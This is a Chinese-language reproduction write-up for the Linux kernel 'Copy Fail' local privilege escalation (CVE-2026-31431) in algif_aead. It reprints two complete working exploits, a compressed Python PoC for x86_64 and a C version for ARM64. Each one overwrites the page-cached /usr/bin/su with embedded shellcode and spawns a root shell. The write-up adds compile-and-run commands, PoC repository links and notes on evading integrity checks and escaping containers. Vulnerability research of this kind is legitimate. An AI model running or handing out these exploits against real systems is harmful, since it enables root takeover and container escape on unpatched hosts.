一、漏洞概述

CVE-2026-31431 ,命名为 “Copy Fail” ,是一个 Linux 内核 algif_aead 模块中的高危本地提权漏洞 。该漏洞自 2017 年起潜伏于内核,影响几乎所有主流 Linux 发行版(包括 Ubuntu、Debian、RHEL、SUSE 等)。攻击者利用该漏洞可在非 root 用户 条件下获得完整的 root 权限。CVSS v3.1 评分为 7.8(高危),其利用代码(PoC)已于 2026 年 4 月 30 日公开,拥有极高的现实威胁性。

二、影响范围

  • 受影响内核版本:2017 年之后的绝大多数 Linux 内核(包括但不限于 5.x、6.x、7.x 早期版本)
  • 已确认受影响的发行版及内核
    • Ubuntu 24.04 LTS(内核 6.8.0-41-generic)
    • Ubuntu 22.04 LTS(内核 5.15.0-176-generic)
    • 其他基于相同内核版本的 Linux 系统

三、复现

x86_64 环境

下载普通公开poc:https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

确认漏洞模块已经加载

1
lsmod | grep algif_aead

image-20260505212746841

若未加载,手动加载:sudo modprobe algif_aead

目前是的linux是x86架构的:uname -m

运行该poc,成功提权到root

image-20260505212952534

ARM64 环境

原本的poc不适用于arm64架构,具体可见:CVE-2026-31431 (Copy Fail) 漏洞复现与验证记录 - 技术栈

原因分析

  • 公开 PoC 中嵌入的 shellcode 为 x86_64 架构指令。
  • 在 ARM64 系统上执行该 PoC 时,shellcode 被写入 /usr/bin/su 的内存映射,导致 su 二进制文件损坏(ELF 头被错误指令覆盖),系统无法识别。
  • 漏洞本身在 ARM64 内核中同样存在,但缺乏适配的 ARM64 利用代码

适用于arm64的poc:https://github.com/bigwario/copy-fail-CVE-2026-31431-C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <zlib.h>
#include <errno.h>

#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000
#endif

#define RECV_BUF_SIZE 16384

// aarch64 payload
static unsigned char compressed[] = {
0x78, 0x9c, 0xab, 0x77, 0xf5, 0x71, 0x63, 0x62, 0x64, 0x64, 0x80, 0x01,
0x26, 0x86, 0xed, 0x0c, 0x20, 0x5e, 0x05, 0x83, 0x03, 0x98, 0xef, 0xc0,
0x80, 0x09, 0x1c, 0x18, 0x2c, 0x18, 0x60, 0x3a, 0x40, 0x34, 0x2b, 0x9a,
0x2c, 0x32, 0xbd, 0x00, 0xca, 0x5b, 0x00, 0x97, 0x87, 0xe9, 0x6c, 0xb8,
0xe4, 0x21, 0xd4, 0x70, 0x09, 0xc8, 0xbb, 0x02, 0x94, 0x13, 0x60, 0x04,
0xf2, 0x99, 0x80, 0x78, 0x85, 0x34, 0x44, 0x4c, 0x3f, 0x29, 0x33, 0x4f,
0xbf, 0x38, 0x83, 0x01, 0x00, 0x5e, 0x33, 0x11, 0xd3
};

static void run_exploit(int fd_su, int off, const unsigned char *chunk) {
int algfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (algfd < 0) return;

struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};

if (bind(algfd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
close(algfd);
return;
}

unsigned char key[80];
memset(key, 0, sizeof(key));
key[0] = 0x08; key[2] = 0x01; key[7] = 0x10;

if (setsockopt(algfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
close(algfd);
return;
}

int authsize = 4;
setsockopt(algfd, SOL_ALG, 5, &authsize, sizeof(authsize));

int opfd = accept(algfd, NULL, 0);
if (opfd < 0) {
close(algfd);
return;
}

union {
char buf[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];
struct cmsghdr align;
} u;
memset(u.buf, 0, sizeof(u.buf));

struct msghdr msg = {0};
msg.msg_control = u.buf;
msg.msg_controllen = sizeof(u.buf);

struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 3;
cmsg->cmsg_len = CMSG_LEN(4);
*(unsigned int*)CMSG_DATA(cmsg) = 0;

cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 2;
cmsg->cmsg_len = CMSG_LEN(20);
memset(CMSG_DATA(cmsg), 0, 20);
*(unsigned char*)CMSG_DATA(cmsg) = 0x10;

cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 4;
cmsg->cmsg_len = CMSG_LEN(4);
*(unsigned int*)CMSG_DATA(cmsg) = 8;

unsigned char assoc_data[8];
memcpy(assoc_data, "AAAA", 4);
memcpy(assoc_data + 4, chunk, 4);

struct iovec iov = { .iov_base = assoc_data, .iov_len = 8 };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

if (sendmsg(opfd, &msg, MSG_SPLICE_PAGES) < 0) {
goto cleanup;
}

int pipefd[2];
if (pipe(pipefd) < 0) goto cleanup;

size_t total = off + 4;
loff_t offset_src = 0;

if (splice(fd_su, &offset_src, pipefd[1], NULL, total, 0) >= 0) {
splice(pipefd[0], NULL, opfd, NULL, total, 0);
}

close(pipefd[0]);
close(pipefd[1]);

static char bounce[RECV_BUF_SIZE];
recv(opfd, bounce, sizeof(bounce), MSG_DONTWAIT);

cleanup:
close(opfd);
close(algfd);
}

int main(void) {
printf("Exploit by CharlesZ v0.1\n");

unsigned long len = 4096;
unsigned char *payload = malloc(len);
if (!payload) return 1;

int ret = uncompress(payload, &len, compressed, sizeof(compressed));
if (ret != Z_OK) {
free(payload);
return 1;
}

char su_path[256];
FILE *pp = popen("which su", "r");
if (!pp) {
free(payload);
return 1;
}
if (fgets(su_path, sizeof(su_path), pp) != NULL) {
su_path[strcspn(su_path, "\n")] = 0;
} else {
pclose(pp);
free(payload);
return 1;
}
pclose(pp);

int fd = open(su_path, O_RDONLY);
if (fd < 0) {
free(payload);
return 1;
}

for (unsigned int i = 0; i < len; i += 4) {
run_exploit(fd, i, payload + i);
if (i % 128 == 0) usleep(10);
}

close(fd);
free(payload);

sync();
system("su");

return 0;
}

执行命令:gcc -o exploit exploit_aarch64.c -lz && chmod +x exploit && ./exploit

四、原理简述

内核通过in-place优化,将只读的文件页缓存放入了本不该拥有写权限的加密操作散列表中,而authencesn算法在解密过程中,会向输入缓冲区末尾写入攻击者可控的4字节数据,最终实现对只读文件页缓存的受控篡改。

这里有两个关键的技术细节,决定了漏洞的杀伤力:

  1. 页缓存(page cache)的特性:Linux内核会将磁盘上的文件加载到内存页缓存中,所有用户态对文件的访问都会优先命中缓存,且缓存是全局共享的——容器与宿主机、不同进程之间,同一个文件的页缓存是同一份。
  2. 无磁盘写入的隐蔽篡改:攻击者仅修改内存中的页缓存,不会修改磁盘上的源文件,传统的文件完整性校验工具(如tripwire、AIDE)无法检测到篡改,只有系统重启后缓存才会失效,隐蔽性极强。

Copy Fail漏洞的危害,远超普通的内核提权漏洞,核心体现在4个维度:

1. 极宽的影响范围,全版本通杀

漏洞影响2017年至今发布的几乎所有Linux内核版本,覆盖Ubuntu、Debian、RHEL、CentOS、SUSE、Amazon Linux、Arch Linux等全球主流发行版,无论是企业级服务器、个人PC、云主机、物联网设备,只要使用了未打补丁的Linux内核,均受影响。

2.极低的利用门槛,极高的稳定性

漏洞利用无需复杂的内核版本适配,一套732字节的Python脚本即可通杀所有受影响版本;无竞态条件、无内存堆喷、无复杂的漏洞利用技巧,即使是入门级攻击者,也能一键完成提权,且利用成功率接近100%,不会导致系统崩溃。

3.极强的隐蔽性,传统检测手段失效

攻击者仅修改内存中的页缓存,不会对磁盘上的源文件做任何修改,传统的文件完整性校验、主机入侵检测系统(HIDS)很难检测到攻击行为;只有系统重启后,页缓存才会重置,在此之前,攻击者可以长期维持root权限。

4. 云原生场景致命风险,容器逃逸无压力

在Docker、Kubernetes等容器化场景中,该漏洞可以直接突破容器的隔离边界,攻击者通过低权限容器即可篡改宿主机的文件缓存,实现容器逃逸,进而接管整个集群节点,对企业私有云、公有云容器平台造成毁灭性打击。(可参考文章:https://mp.weixin.qq.com/s/7ImIAtZFMl-PWJG-wFgaAg)